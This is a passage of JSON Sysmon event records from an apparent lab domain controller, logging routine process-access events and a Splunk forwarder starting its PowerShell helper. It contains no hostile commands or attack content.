C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6895,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6896,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6897,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6898,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6899,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:38.088\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-42A2-5F2D-0000-0010AD330B00}\r\nTargetProcessId: 3964\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:38.088","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-42A2-5F2D-0000-0010AD330B00}","TargetProcessId":"3964","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":6900,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:38.964\r\nProcessGuid: {90617006-42A2-5F2D-0000-0010C9350B00}\r\nProcessId: 3396\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:01:38.964","ProcessGuid":"{90617006-42A2-5F2D-0000-0010C9350B00}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6901,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:38.963\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-42A2-5F2D-0000-0010C9350B00}\r\nTargetProcessId: 3396\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:38.963","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-42A2-5F2D-0000-0010C9350B00}","TargetProcessId":"3396","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6902,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:38.963\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A2-5F2D-0000-0010C9350B00}\r\nTargetProcessId: 3396\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:38.963","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A2-5F2D-0000-0010C9350B00}","TargetProcessId":"3396","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 